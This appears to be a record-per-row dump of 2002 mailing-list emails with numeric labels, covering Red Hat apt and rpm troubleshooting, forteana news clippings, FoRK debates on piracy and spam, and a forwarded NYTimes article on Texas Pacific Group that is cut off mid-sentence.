# rpm -e apt apt-devel root@canarsie:/tmp # rm -rf /etc/apt /var/cache/apt /var/state/apt root@canarsie:/tmp # rpm -ivh apt-0.5.4cnc7-fr1.i386.rpm apt-devel-0.5.4cnc7-fr1.i386.rpm warning: apt-0.5.4cnc7-fr1.i386.rpm: V3 DSA signature: NOKEY, key ID e42d547b Preparing... ########################################### [100%] 1:apt ########################################### [ 50%] 2:apt-devel ########################################### [100%] root@canarsie:/tmp # apt-get update Ign http://apt.freshrpms.net redhat/8.0/en/i386 release Get:1 http://apt.freshrpms.net redhat/8.0/en/i386/os pkglist [1276kB] Get:2 http://apt.freshrpms.net redhat/8.0/en/i386/os release [108B] Get:3 http://apt.freshrpms.net redhat/8.0/en/i386/updates pkglist [14B] Get:4 http://apt.freshrpms.net redhat/8.0/en/i386/updates release [113B] Get:5 http://apt.freshrpms.net redhat/8.0/en/i386/freshrpms pkglist [57.1kB] Get:6 http://apt.freshrpms.net redhat/8.0/en/i386/freshrpms release [125B] Get:7 http://apt.freshrpms.net redhat/8.0/en/i386/os srclist [152kB] Get:8 http://apt.freshrpms.net redhat/8.0/en/i386/updates srclist [14B] Get:9 http://apt.freshrpms.net redhat/8.0/en/i386/freshrpms srclist [14.4kB] Fetched 1500kB in 11s (125kB/s) Reading Package Lists... Done root@canarsie:/tmp # apt-get install xmms-mp3 Reading Package Lists... Done Building Dependency Tree... Done E: Couldn't find package xmms-mp3 root@canarsie:/tmp # apt-cache search xmms root@canarsie:/tmp # Beats me.. -SteveK -- Steve Kann - Chief Engineer - 520 8th Ave #2300 NY 10018 - (212) 533-1775 HorizonLive.com - collaborate . interact . learn ""The box said 'Requires Windows 95, NT, or better,' so I installed Linux."" _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Chris Kloiber ,rpm-zzzlist@freshrpms.net,08 Oct 2002 23:17:17 -0400,Re: RH 8 no DMA for DVD drive,"On Mon, 2002-10-07 at 13:28, Matthias Saou wrote: > I've never heard of any CD-ROM or DVD-ROM drive having problems with DMA... > although there probably is since Red Hat decided to default disabling it a > few releases back :-/ Heh. I get to see bad CDROM problems all the time. Mostly when vendors buy crap cables to try to save $0.02/each, but there are chipsets and drives with known DMA issues as well. > Normally, even if you try to enable DMA and your device doesn't support it, > it simply don't be able to make the change, and that's it. The problem IIRC > is with crappy hardware that is supposed to support DMA but doesn't work as > expected when it's enabled... maybe Chris could confirm this? ;-) Usually if you enable DMA on a CDROM that can't handle it gracefully you won't be able to read data off it relably, and that's about it. No end_of_the_world problems, and easily fixed. > I guess I'll settle for the /dev/dvd link change as described and putting > the DMA tip in the %description :-) My biggest beef with automatically setting /dev/dvd is that I always seem to have a CD-Burner and a DVD drive (or DVD burner) in the same box, and I usually have the DVD as the second drive /dev/cdrom1 in ""kudzu-speak"". I agree that the %description is the best place for the tip. Unless someone can come up with a way to probe CD/DVD drives to divulge their largest supported media size without loading ide-scsi or having that media currently in the drive. -- Chris Kloiber _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Chris Kloiber ,rpm-zzzlist@freshrpms.net,08 Oct 2002 23:23:19 -0400,Re: RH 8 no DMA for DVD drive,"On Tue, 2002-10-08 at 04:48, Panu Matilainen wrote: > On Mon, 7 Oct 2002, Jesse Keating wrote: > > > On Mon, 7 Oct 2002 19:28:51 +0200 > > Matthias Saou wrote: > > > > # I've never heard of any CD-ROM or DVD-ROM drive having problems with > > # DMA... although there probably is since Red Hat decided to default > > # disabling it a few releases back :-/ > > > > When I worked as a PC repair tech for a Computer store chain, I did > > run across quite a few DVD drives that would lock up if DMA was > > enabled. It's more of a chipset/drive problem than a Drive by itself. > > And my IBM Intellistation would lock up instantly .. now this is actually > quite funny .. if DMA was enabled for the CD-ROM *and* you tried to access > a CD with Joliet extensions. Otherwise it worked just fine with DMA > enabled :) Odd. Did I certify that one? What's the 7-digit IBM model number, and which version of Red Hat were you running? -- Chris Kloiber _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Chris Kloiber ,rpm-zzzlist@freshrpms.net,08 Oct 2002 23:27:10 -0400,Re: Zoot apt/openssh & new DVD playing doc,"On Tue, 2002-10-08 at 10:36, Matthias Saou wrote: > Hi there, > > Two new things today : > > 1) I've had to install a Red Hat Linux 6.2 server because of an old > proprietary IVR software that doesn't work on newer releases :-( So I've > recompiled both the latest apt and openssh packages for it, and they are > now available with a complete ""os, updates & freshrpms"" apt repository at > apt.freshrpms.net, for those who might be interested. Gack. Did you try 7.3 with the compat-glibc first? Or does it require an antique kernel? -- Chris Kloiber _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Matthias Haase ,rpm-zzzlist@freshrpms.net,"Wed, 9 Oct 2002 08:00:49 +0200",Re: RedHat 8.0 and his own freetype,"On Tue, 08 Oct 2002 13:05:53 -0700 Ben Liblit wrote: > > RPM build errors: > > File not found by glob: > > /var/tmp/freetype-2.1.2-root/usr/lib/libttf.so.* > > File not found: /var/tmp/freetype-2.1.2-root/usr/lib/libttf.so > > Weird. I had no problems at all rebuilding from the SRPM with specfile > modified to enable the bytecode interpreter. The ""check-files"" test > warns that ""/usr/share/aclocal/freetype2.m4"" was not included in any > package, but other then that, it's all perfectly clean. Hi, Ben, it seems, the RH freetype package should be repacked, see for this https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=74415 Please, can you atach and send your sucessfully rebuild of the RH freetype rpm with the bytecode enabled to me? -- Regards from Germany Matthias _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Ben Liblit ,rpm-zzzlist@freshrpms.net,"Tue, 08 Oct 2002 23:41:46 -0700",Re: RedHat 8.0 and his own freetype,"I wrote: > [The bytecode interpreter] may improve non-antialiased rendering, but > only at the expense of making a mess of antialiased rendering. Then again, perhaps the particular font I'm using just has bad bytecodes. That font is ""QuickType II"", grabbed off my Windows partition, where it was installed by I-have-no-idea-which-application. Anybody else experimenting with bytecode-enabled freetype, presumably with different fonts? Do you find the same bad antialiased rendering that I found, or do other fonts work well? _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Matthias Saou ,rpm-zzzlist@freshrpms.net,"Wed, 9 Oct 2002 08:55:08 +0200",Re: Zoot apt/openssh & new DVD playing doc,"Once upon a time, Chris wrote : > On Tue, 2002-10-08 at 10:36, Matthias Saou wrote: > > Hi there, > > > > Two new things today : > > > > 1) I've had to install a Red Hat Linux 6.2 server because of an old > > proprietary IVR software that doesn't work on newer releases :-( So > > I've recompiled both the latest apt and openssh packages for it, and > > they are now available with a complete ""os, updates & freshrpms"" apt > > repository at apt.freshrpms.net, for those who might be interested. > > Gack. Did you try 7.3 with the compat-glibc first? Or does it require an > antique kernel? It requires a 2.2 kernel, plus antique just-about-everything :-/ Real crap! Matthias -- Clean custom Red Hat Linux rpm packages : http://freshrpms.net/ Red Hat Linux release 7.3 (Valhalla) running Linux kernel 2.4.18-10acpi Load : 0.00 0.03 0.00 _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Matthias Haase ,rpm-zzzlist@freshrpms.net,"Wed, 9 Oct 2002 08:36:02 +0200",Re: RedHat 8.0 and his own freetype,"On Tue, 08 Oct 2002 23:15:07 -0700 Ben Liblit wrote: > Ick. Perhaps this is why Red Hat turned the bytecode interpreter off. > It may improve non-antialiased rendering, but only at the expense of > making a mess of antialiased rendering. > > This may come down to a matter of personal aesthetics, but for my part, > I'm going back to Red Hat's standard packages with the bytecode > interpreter turned *off*. Yes, confirmed, but for my part, I'm using mostly non-antialiased fonts and they are true ugly without the bytecode interpreter enabled. Remember my stupid request about your RPM ;-) -- Regards from Germany Matthias _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Ralf Ertzinger ,rpm-zzzlist@freshrpms.net,"Wed, 9 Oct 2002 10:28:23 +0200",Re: Apt repository authentication: it's time,"Hi. Brian Fahrlander wrote: > What's it take to ensure we're covered against this kind of > childish/moronic/Microsoft-era problems? Well, I am checking the packet signatures while building the apt-tree. Not very pretty, not very fast, but it works. Nonetheless: did anyone ever play with this: http://distro.conectiva.com.br/pipermail/apt-rpm/2002-August/000653.html -- R! _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Matthias Saou ,rpm-zzzlist@freshrpms.net,"Wed, 9 Oct 2002 11:03:11 +0200",Re: Apt repository authentication: it's time,"Once upon a time, Brian wrote : > OK, it's now time to work out the PGP securing of apt repository > traffic. I've never gotten anything but ""sitename.whatever will not > be authenticated"" until running Redhat 8.0 when I get something > about having ""No Key"" for various files. I don't think gpg signing my repositories will help anything, as it will just ensure that my passphrase was typed to confirm the md5 signatures of all pgklists and srclists. Basically, you'll then just be sure that it's me who generated the files, and this will of course prevent automating the process of updating the apt repository when Red Hat updates show up. In Red Hat Linux 8.0 though, the warnings about ""No Key"" appear until you import the right gpg public keys directly with rpm, for example : rpm --import /usr/share/doc/apt-0.5.4cnc7/RPM-GPG-KEY (this will import my key, which is used to sign all freshrpms.net packages) Hopefully it is possible to the tell rpm to install *only* packages who verify against an imported gpg key? This for me would be the optimal way to ensure integrity with the way things curently work. Matthias -- Clean custom Red Hat Linux rpm packages : http://freshrpms.net/ Red Hat Linux release 7.3 (Valhalla) running Linux kernel 2.4.18-10acpi Load : 0.14 0.18 0.17 _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Brian Fahrlander ,rpm-zzzlist@freshrpms.net,"Wed, 9 Oct 2002 04:27:34 -0500",Re: Apt repository authentication: it's time,"On Wed, 9 Oct 2002 11:03:11 +0200, Matthias Saou wrote: > I don't think gpg signing my repositories will help anything, as it will > just ensure that my passphrase was typed to confirm the md5 signatures of > all pgklists and srclists. Basically, you'll then just be sure that it's me > who generated the files, and this will of course prevent automating the > process of updating the apt repository when Red Hat updates show up. Isn't there a packager-key that's concealed inside the rpm? Things have changed a bit since I used to work with'em, but I thought there was some internal number that must be compared to be correct (or, presumably, return an error.) > In Red Hat Linux 8.0 though, the warnings about ""No Key"" appear until you > import the right gpg public keys directly with rpm, for example : > rpm --import /usr/share/doc/apt-0.5.4cnc7/RPM-GPG-KEY > (this will import my key, which is used to sign all freshrpms.net packages) Hey, cool; wether it protects me or not, I feel better about it. > Hopefully it is possible to the tell rpm to install *only* packages who > verify against an imported gpg key? This for me would be the optimal way to > ensure integrity with the way things curently work. Yeah, surely there's a flag for that; there is, for everything else, aye? :) ------------------------------------------------------------------------ Brian Fahrlnder Linux Zealot, Conservative, and Technomad Evansville, IN My Voyage: http://www.CounterMoon.com ICQ 5119262 ------------------------------------------------------------------------ angegangen, Schlange-Hften, sein es ganz rber jetzt. Bgel innen fest, weil es eine lange, ssse Fahrt ist. _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 """Scott Wood"" ",zzzzteana@yahoogroups.com,"Tue, 08 Oct 2002 15:45:28 +0100",[zzzzteana] Plumstead Panther - Pictures!,"Looks and sounds a hell of a lot like Clare's cat, Violence... A tall tail or is it a prowling panther? http://www.thisislocallondon.co.uk/news/weird/display.var.633939.Bizarre+London.0.html Security cameras at the Gardiner house filmed the cat The Plumstead panther has been spotted just yards from the scene of a sighting made three weeks ago but this time it was caught on camera. Steve Gardiner, 41, claims to have spotted the large cat in his garden in Upton Road, Plumstead, in the sixth reported sighting in Woolwich and Bexley in just four weeks. Mr Gardiner told News Shopper he watched the big cat as it walked alongside the house at about 7.15am, on Wednesday, September 25, while his security cameras captured it on film. The father-of-four described the black cat as about 3ft long and two-and-a-half-foot high, with a large body. He said: ""It prowled past the patio doors moving with all the mannerisms of a hunter. ""It looked at me calmly before moving on."" The bricklayer told how his work colleagues let him know News Shopper had been following the big cat story so he decided to call our offices with news of the sighting. His wife, Karen, 41, later checked the tape which had captured grainy images of the large cat prowling through their garden. She said: ""I feel sorry for it not living in its natural habitat I'd hate for it to get hurt."" Mr Gardiner told how he is convinced of the cat's existence saying how their usually quiet 18-year-old dog barks at ""nothing"" in the garden but barked that morning. He warned: ""I don't think these cats are dangerous but, if cornered, they might jump you."" Sightings of the large black cat are being reported all over the Plumstead Common and Shooters Hill as well at the Bexley area. If you have seen the big cat, call News Shopper on 01689 885712. 12:27 Tuesday 8th October 2002 _________________________________________________________________ Send and receive Hotmail on your mobile device: http://mobile.msn.com ------------------------ Yahoo! Groups Sponsor ---------------------~--> Sell a Home for Top $ http://us.click.yahoo.com/RrPZMC/jTmEAA/MVfIAA/7gSolB/TM ---------------------------------------------------------------------~-> To unsubscribe from this group, send an email to: forteana-unsubscribe@egroups.com Your use of Yahoo! Groups is subject to http://docs.yahoo.com/info/terms/",0,1 """Tim Chapman"" ",zzzzteana ,"Tue, 08 Oct 2002 15:51:16 +0100",[zzzzteana] A Billy for the septics,"http://news.bbc.co.uk/1/hi/uk/2310209.stm Tuesday, 8 October, 2002, 13:53 GMT 14:53 UK Quiz: Know your Cockney Rhyming Slang? Cockney Rhyming Slang is alive and well with new terms being invented all the time, according to the new Oxford Dictionary of Rhyming Slang being published this week. But do you know a Raquel Welch (belch) from a Billie Piper (windscreen wiper)? ... ------------------------ Yahoo! Groups Sponsor ---------------------~--> Plan to Sell a Home? http://us.click.yahoo.com/J2SnNA/y.lEAA/MVfIAA/7gSolB/TM ---------------------------------------------------------------------~-> To unsubscribe from this group, send an email to: forteana-unsubscribe@egroups.com Your use of Yahoo! Groups is subject to http://docs.yahoo.com/info/terms/",0,1 """Scott Wood"" ",zzzzteana@yahoogroups.com,"Tue, 08 Oct 2002 15:48:40 +0100",[zzzzteana] Punch bags filled with incontinence pads,"http://www.thisislocallondon.co.uk/news/weird/display.var.633932.Bizarre+London.0.html An investigation has been launched after punch bags on sale in Greenwich were found to be stuffed with incontinence pads and bandages. Trading standards officers, working for Greenwich Council, were alerted to the situation after a Bryan punch bag, purchased in Argos, in Charlton Road, Charlton, was found to be full of bandages. Also stuffed inside the piece of sporting equipment was a letter from a woman in Fife stating how she felt quite disgusted' about the bag and asking for the filling to be tested. The unfortunate shopper had bought his first bag, at Argos, in Lewisham High Street, but had returned it because on investigation of a leak he was horrified to discover it was filled with incontinence pads. So far, officers have purchased two of the punch bags, only to find they contain incontinence pads and strips of shredded duvet. Cabinet member for public services Councillor Angela Cornforth said: ""This is one of the strangest stories I have every heard. ""Our officers are in the process of investigating and will no doubt discover why the bags contain such unusual contents."" 12:18 Tuesday 8th October 2002 _________________________________________________________________ Chat with friends online, try MSN Messenger: http://messenger.msn.com ------------------------ Yahoo! Groups Sponsor ---------------------~--> Plan to Sell a Home? http://us.click.yahoo.com/J2SnNA/y.lEAA/MVfIAA/7gSolB/TM ---------------------------------------------------------------------~-> To unsubscribe from this group, send an email to: forteana-unsubscribe@egroups.com Your use of Yahoo! Groups is subject to http://docs.yahoo.com/info/terms/",0,1 Tom ,"""Adam L. Beberg"" ","Sat, 24 Aug 2002 10:57:13 -0400 (EDT)",Re: The GOv gets tough on Net Users.....er Pirates..,"On Sat, 24 Aug 2002, Adam L. Beberg wrote: --]And yet STILL noone is out there creating _public domain_ content. Is there --]even one person out there can can even begin to talk without being a --]complete hypocrite? And no the ""open source"" people cant talk either, the --]GPL aint even close. I know I cant talk. All my music is in the Public Domain. There are others. http://xent.com/mailman/listinfo/fork",0,1 Lucas Gonze ,,"Sat, 24 Aug 2002 10:51:05 -0400 (EDT)",Re: The GOv gets tough on Net Users.....er Pirates..,"> If the creator didnt say you could have it without paying, it's theft, so > simple, hell that's even in all the major holy books. Wow, I've got a great idea! I'll hire a skywriter to write ""you can't look at this without paying,"" then lock up everybody who looked at it and didn't pay! It can't fail -- Jesus is on my side! http://xent.com/mailman/listinfo/fork",0,1 """Russell Turpin"" ",fork@spamassassin.taint.org,"Sat, 24 Aug 2002 15:00:15 +0000",Re: The case for spam,"Lucas Gonze: >Senders should vary the recipient list to include non-targets, like party >officials, and to exclude targets enough to give them plausible >deniability. Which means the sender has a list of who the true targets are, and who the fake targets are, and scripts for mixing these. On the receiving side, my email client distinguishes between messages that are read, and messages that are not. I like to mark or save messages that are particularly interresting or important to me. And even if I make a point to delete ""suspicious material"" immediately upon reading it, even THAT might leave an interesting kind of trace on my machine. Sorry, but I don't buy the argument that spam protects people who want to distribute or see material the government disapproves. _________________________________________________________________ MSN Photos is the easiest way to share and print your photos: http://photos.msn.com/support/worldwide.aspx http://xent.com/mailman/listinfo/fork",0,1 Lucas Gonze ,,"Sat, 24 Aug 2002 11:26:34 -0400 (EDT)",Re: The case for spam,"Russell Turpin wrote: > On the receiving side, > my email client distinguishes between messages > that are read, and messages that are not. I like > to mark or save messages that are particularly > interresting or important to me. And even if I > make a point to delete ""suspicious material"" > immediately upon reading it, even THAT might > leave an interesting kind of trace on my machine. You choose to have your email client do that. You don't have to. Short of Palladium, you can do whatever you want with bytes you hold, including reading messages and erasing the traces. I'll buy a chocolate sundae for anyone who can show otherwise. An attacker might be able to verify that you *have* read a message (e.g. by seeing that you saved and edited a copy) but not that you *haven't*. If your email client was compromised you could put a packet sniffer on the line before downloading mail. If an attacker installed a packet sniffer sniffer, you could run it in a spoofing VM. The only exception to the rule that your machine belongs to you is -- maybe -- Palladium. - Lucas http://xent.com/mailman/listinfo/fork",0,1 """R. A. Hettinga"" ",fork@spamassassin.taint.org,"Sat, 24 Aug 2002 11:45:18 -0400","Re: ""Ouch. Ouch. Ouch. Ouch. Ouch....""(was Re: My brain hurts)","--- begin forwarded text Date: Sat, 24 Aug 2002 11:39:34 -0400 To: ""R. A. Hettinga"" From: Somebody Subject: Re: ""Ouch. Ouch. Ouch. Ouch. Ouch....""(was Re: My brain hurts) And then there was the one from Prairie Home Companion: Q. Why is a viola larger than a violin? A. It just looks that way because a violin player's head is bigger. >--- begin forwarded text > > >Status: RO >Delivered-To: fork@spamassassin.taint.org >From: ""Joseph S. Barrera III"" >Organization: Rose Garden Funeral of Sores >User-Agent: Mutt/1.5.0 [-1214711651] >To: Flatware or Road Kill? >Subject: Re: ""Ouch. Ouch. Ouch. Ouch. Ouch....""(was Re: My brain hurts) >Sender: fork-admin@xent.com >Date: Wed, 24 Jul 2002 15:17:40 -0700 > >There are so many good musician jokes. > >A couple of my favorites: > >Q. What's the difference between a viola and a violin? >A. A viola burns longer. > >Q. What's the definition of a minor second? >A. Two oboes playing in unison. > >- Joe > > >http://xent.com/mailman/listinfo/fork > >--- end forwarded text > > >-- >----------------- >R. A. Hettinga >The Internet Bearer Underwriting Corporation >44 Farquhar Street, Boston, MA 02131 USA >""... however it may deserve respect for its usefulness and antiquity, >[predicting the end of the world] has not been found agreeable to >experience."" -- Edward Gibbon, 'Decline and Fall of the Roman Empire' -- --- end forwarded text -- R. A. Hettinga The Internet Bearer Underwriting Corporation 44 Farquhar Street, Boston, MA 02131 USA ""Never underestimate the power of stupid people in large groups."" --George Carlin http://xent.com/mailman/listinfo/fork",0,1 """John Hall"" ",,"Sat, 24 Aug 2002 11:07:00 -0700",A biblical digression,"> From: fork-admin@xent.com [mailto:fork-admin@xent.com] On Behalf Of Adam > L. Beberg > > If the creator didnt say you could have it without paying, it's theft, so > simple, hell that's even in all the major holy books. Ran across a site which claimed to explain the original meaning of the Ten Commandments. It seems some of those meanings have evolved a bit, too. In particular, there was a claim that the commandment on stealing was actually specifically about 'man stealing -- selling a free man into slavery. Certainly the US southerners were particularly sensitive to the term 'man stealer' in a way I didn't understand. Yep, I know he said all holy books. No, I don't know if this site was blowing hot air. It just read like someone had done their homework. http://xent.com/mailman/listinfo/fork",0,1 khare@alumni.caltech.edu,fork@spamassassin.taint.org,"Sun, 25 Aug 2002 08:34:47 -0400 (EDT)",NYTimes.com Article: Texas Pacific Goes Where Others Fear to Spend,"This article from NYTimes.com has been sent to you by khare@alumni.caltech.edu. Texas Pacific, in addition to its multibillion dollar portfolio detailed below, actually does invest in promising new companies, not just turnarounds. It's just that KnowNow is waaay to small of a part of their $7.2B portfolio... so far! Rohit khare@alumni.caltech.edu Texas Pacific Goes Where Others Fear to Spend August 25, 2002 By RIVA D. ATLAS and EDWARD WONG It was one of the first calls David N. Siegel placed when he became chief executive of the beleaguered US Airways last March. Seeking advice on how to hammer out a leaner and meaner business plan, keep his planes flying and renegotiate costly contracts with the unions, he flipped through his files and found the number for the Texas Pacific Group, an investment firm headed by David Bonderman, a former civil rights lawyer with a reputation for fixing problem companies. Mr. Siegel, once a top executive at Continental Airlines, had watched Texas Pacific's partners turn an investment of $66 million in the airline, made three years after it filed for bankruptcy in 1990, into a profit of more than $600 million. And they had made nearly as much on their stake in America West, which filed for bankruptcy in 1992. That search for advice turned into an offer. Why not let Texas Pacific have a role in US Airways' revival? asked Richard Schifter, the Texas Pacific executive whom Mr. Siegel reached. In June, Mr. Siegel called Mr. Schifter again. And days before US Airways announced its plans to file for bankruptcy two weeks ago - but after it had negotiated about $550 million in concessions with its unions - Texas Pacific, based in Fort Worth and San Francisco, agreed to kick in $100 million as part of a $500 million loan to keep the company operating during bankruptcy. It also agreed to buy $200 million of stock, or 38 percent of the company, and take 5 of 13 seats on the board if US Airways emerges from bankruptcy - unless another investor surfaces with a better offer. ""One of the reasons we were interested is few other folks were,"" said James Coulter, a partner at Texas Pacific, in an interview after the bankruptcy filing. ""There aren't many people around with the stomach or the knowledge to delve into the airline industry."" Texas Pacific, which manages $8 billion, thrives by buying businesses no one else wants. Mr. Coulter and Mr. Bonderman made their names during the recession of the early 1990's with investments in Continental and America West. The firm's hallmark is to take an active hand in shaping companies, sometimes ousting poor managers and tapping its extensive network of contacts for talented replacements. Now the partners are again looking for trouble. In the last year alone, Texas Pacific has announced or completed six acquisitions, most in unloved industries like semiconductors, reinsurance and airlines. Just last month, it announced plans to buy Burger King, which has been losing market share, for $2.26 billion. It is also bidding for Bankgesellschaft Berlin, a large and troubled bank. The most creative, and potentially lucrative, of these deals could be Texas Pacific's acquisition last November of MEMC Electronic Materials, a semiconductor company, for $6 - yes, just $6 - in cash. It will also guarantee a $150 million bank loan. In the last few years, most firms that specialize in leveraged buyouts - the use of junk bonds, bank loans and other borrowings to buy or take big stakes in companies - have been largely inactive. Falling stock prices have made managements reluctant to sell cheaply. Companies that are for sale have tangled finances or face a cash squeeze. Texas Pacific is different. ""This is a terrific environment for them,"" said Stephen Schwarzman, chief executive of the Blackstone Group, which also specializes in buyouts. Mark Attanasio, a managing director at Trust Company of the West, which has invested with Texas Pacific, said: ""Most other buyout firms want to buy companies that are growing. You don't see many guys wanting to take on operational fixes."" Like most other buyout firms, Texas Pacific tries to keep its inner workings private: its partners rarely grant interviews and its Web site is perpetually under construction. Mr. Bonderman, Mr. Coulter and William Price, the third founding partner, declined to be interviewed for this article. Mr. Bonderman, 59, is known for his rumpled shirts and bright, patterned socks. ""He likes argyle socks, and they tend to fall down around his ankles,"" said Henry Miller, an investment banker who advises troubled companies. Early in his career, when he was a Washington lawyer, Mr. Bonderman argued a case in court wearing a brown velvet suit. When a Texas Pacific deal is being negotiated, he is known for obsessively staying in touch, even when he is trekking in places like Pakistan, Nepal and, most recently, Bhutan. ""Whenever I see a long, unfamiliar phone number pop up on my caller I.D., I know it's David calling,"" said one investment banker who often works with Mr. Bonderman. Mr. Bonderman made his reputation in the 1980's as the chief investment officer for Robert Bass, the Texas oilman. Mr. Bonderman enriched Mr. Bass a second time by making early bets in industries like cable television and taking stakes in troubled companies like American Savings & Loan, which had been seized by the government. Over nearly a decade, Mr. Bonderman's picks earned an average annual return of 63 percent for Mr. Bass. In 1993, Mr. Bonderman struck out on his own with Mr. Coulter, a former Lehman Brothers banker who had also worked for Mr. Bass. They teamed up later that year with Mr. Price, a veteran of GE Capital Capital and Bain & Company, a consulting firm, to form Texas Pacific. The three men have complementary skills, investment bankers and other deal makers said. Mr. Bonderman is the master strategist and Mr. Coulter is good at structuring deals and the detailed management of the firm's purchases. Mr. Price often recruits managers and advises on operational issues. ""David is very much the optimist, very much the deal maker,"" said Greg Brenneman, a former president of Continental. ""Jim is very much a counterbalance to David. He will sit back and ask the tough questions. He will approach investments a little bit more skeptically than David does."" By the end of the 1990's, Texas Pacific was well established in deal making. It easily raised $4.5 billion from pension funds and other investors in early 2000. To celebrate their war chest, the firm's partners rented San Francisco's City Hall and hired the B-52's to play at a party. But as the stock market began to tumble, Texas Pacific hesitated. For a 17-month stretch, the partners made no deals. They checked out some of the biggest corporate blowups, including Adelphia, Xerox and Global Crossing, but stayed away, finding the prices and the quality of the businesses untenable. Instead, Texas Pacific began to hastily exit some existing investments, taking more than $2 billion in profits during that stretch. ""They started to cash out early in the cycle,"" said Mario Giannini, chief executive of Hamilton Lane, a money management firm, some of whose clients are Texas Pacific investors. The good times of the late 1990's were not ideal for Texas Pacific - it struggled to find downtrodden companies that needed its help. But Texas Pacific did manage to spot a few diamonds in the rough. It revived Oxford Health Plans, the health maintenance organization that nearly collapsed in the mid-1990's, almost doubling its money after bringing in new managers and upgrading computer systems. In 1996, it made a $280 million investment in Ducati Motor, the Italian motorcycle maker, whose profits have since more than quadrupled. But Texas Pacific also stumbled, usually when it bought at the top of the market. Texas Pacific's $560 million investment in the J. Crew Group, the clothing retailer, for which it paid a steep price of 10 times cash flow in 1997, has been a disappointment. So has its 1999 purchase of Bally, the shoe maker, which has suffered from lower demand for luxury goods. Texas Pacific also lost more than $100 million on Zilog, a semiconductor company, and Favorite Brands, a candy maker, both of which filed for bankruptcy. Some of these investments have taken a toll on the firm's performance. Texas Pacific is still selling off holdings in two investment funds it raised over the last decade. The first fund, a $720 million portfolio raised in 1993 and including investments made through March 1997, should return more than 40 percent, according to one Texas Pacific investor. But its second fund - $2.5 billion raised in 1997 - could return less than half that, this investor estimated, since the firm had less time to take profits on these investments before the stock market sank. But because Texas Pacific has not sold many of its holdings in the second fund, profits on these investments could rebound. It is hoping, for example, that with new management in place, J. Crew will turn around as the economy rebounds. In any case, one competitor said, ""their returns look pretty good when you consider that some other funds won't return any capital"" to investors. But with the weak economy throwing many companies into trouble, Texas Pacific seems poised to repeat its earlier success, the investor said. ""They should do exceptionally well,"" he said. Texas Pacific has a distinct style - if not formula. It relies on talented, self-sufficient managers to restructure troubled companies, preferring to remain hands-off, except for surveillance from the boardroom. When necessary, it replaces managers. Less than a year after Continental emerged from bankruptcy, for example, Mr. Bonderman watched with frustration as his old friend Robert R. Ferguson, the chief executive, led it to the edge of another trip to bankruptcy court. Continental's board, where Mr. Bonderman was chairman, then brought in Gordon M. Bethune, an executive at Boeing, and in October 1994 he replaced Mr. Ferguson as chief executive. Mr. Bethune quickly did a top-to-bottom overhaul of the company and is now considered a great turnaround artist of the industry. ""The biggest conflict I've ever seen was with Bob Ferguson,"" said Clark Onstad, a former general counsel for the Federal Aviation Administration, in describing the thinking of Mr. Bonderman, whom he has known since the 1982 Braniff bankruptcy. ""He chose Bethune over his longtime friend Ferguson because he thought Bethune would do a better job."" At America West, Texas Pacific initiated an even more extensive management overhaul. This time, the charge was led by Mr. Coulter and Mr. Schifter, both directors. W. Douglas Parker, the current chief executive, flew to Mr. Coulter's home in San Francisco to interview for the job of chief financial officer. They talked for hours, and Mr. Parker said the two men quickly realized they had ""somewhat kindred spirits."" The board replaced most senior managers at America West, except William Franke, the chief executive, who stepped down last September. His restructuring plan had made the airline profitable a year and a half before it emerged from bankruptcy in August 1994. Texas Pacific owns just 3 percent of America West, worth about $33.7 million. But those are controlling shares, and the group holds more than 50 percent of the votes. ""These are not passive investors, nor am I,"" said Donald L. Sturm, a Denver businessman who serves on Continental's board with Mr. Bonderman and Mr. Price. ""You're active. Your money is at stake. Your reputation is at stake."" After overseeing managers who worked successfully with unions at Continental and America West, Texas Pacific has a good reputation with labor. That was one reason US Airways was interested in a Texas Pacific investment, said Chris Chiames, a spokesman for the airline. Mr. Siegel wanted an investor who would ""be as labor friendly as possible,"" Mr. Chiames said. But US Airways can still entertain other bids this fall, and Marvin Davis, the billionaire investor from Los Angeles, has expressed interest. Texas Pacific's investment in Burger King, made with Goldman, Sachs and Bain Capital, was announced after two years of discussions among Texas Pacific's partners and the chain's franchisees - even before the company, which had been owned by Diageo, the liquor company, was put up for sale, said Julian Josephson, chairman of the National Franchisee Association, which represents most Burger King franchisees. ""We liked what they had to say about the human component of the businesses they buy,"" Mr. Josephson said. Many other owners, he added, ""are dismissive of labor."" At Burger King, Texas Pacific will also be working with an executive it knows. Burger King's chief executive is John Dasburg, the former chief executive of Northwest Airlines, who met Mr. Bonderman and his partners when Northwest bought out their stake in Continental in 1998. Unlike most buyout firms, Texas Pacific remains enamored with the technology industry, despite the failure of so many start-ups the last two years. It has focused on the semiconductor industry, which like the airline industry is highly cyclical. So far, though, results have been mixed. The firm's 1996 acquisition of the Paradyne Corporation, which makes equipment for high-speed Internet connections, has been a huge success. Texas Pacific split it in two and took both parts public in the late 1990's, selling most of its stakes for 23 times its investment. But a much larger investment, its $400 million acquisition of Zilog, the chip maker, in 1998, was made just before the economic crisis in Asia caused chip prices to plummet. Zilog filed for bankruptcy last year. Texas Pacific is still hoping for a turnaround at a third company, ON Semiconductor, which it acquired for $1.6 billion three years ago. It invested $100 million more last year. Its latest gamble on the industry, the $6 deal for MEMC, may prove the most lucrative. The cost of mailing the payment to E.On, based in Dsseldorf, Germany, was actually more than the acquisition, one executive close to the deal said. Texas Pacific, and its partners in the deal, Trust Company of the West and Leonard Green & Partners, agreed to guarantee a $150 million revolving line of credit. Texas Pacific also assumed $900 million worth of debt, most of which it swapped for more stock in the company. ""They did a good job of timing the acquisition,"" said Nabeel Gareeb, the company's chief executive, who noted that in the last 